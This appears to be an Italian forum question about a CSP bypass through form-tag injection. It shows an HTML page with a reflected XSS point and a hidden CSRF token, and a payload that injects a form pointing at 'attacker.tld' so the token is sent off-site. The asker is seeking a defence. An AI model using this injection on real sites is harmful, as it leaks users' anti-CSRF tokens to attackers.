Questo articolo parla dell'esclusione del CSP utilizzando i tag Form.
Modifica: come suggerito, i dettagli devono essere forniti nel caso in cui il collegamento esterno smetta di funzionare.
Quindi ecco i dettagli:
Sono presenti criteri di sicurezza del contenuto e un parametro vulnerabile a XSS:
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div>[Reflected XSS vulnerability here]</div>
<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>
<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />
<input type=”submit” value=”Subscribe to newsletter” />
</form>
</body>
</html>
Ecco come l'autore tenta di aggirare CSP:
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div><form action=”http://attacker.tld”></div>
<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>
<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />
<input type=”submit” value=”Subscribe to newsletter” />
</form>
</body>
</html>
Voglio sapere se esiste un modo per implementare il CSP per bloccare l'attacco di cui sopra e per eludere i token sensibili da inviare a un dominio esterno?
O una corretta codifica di caratteri speciali deve essere fatta per fermare questo.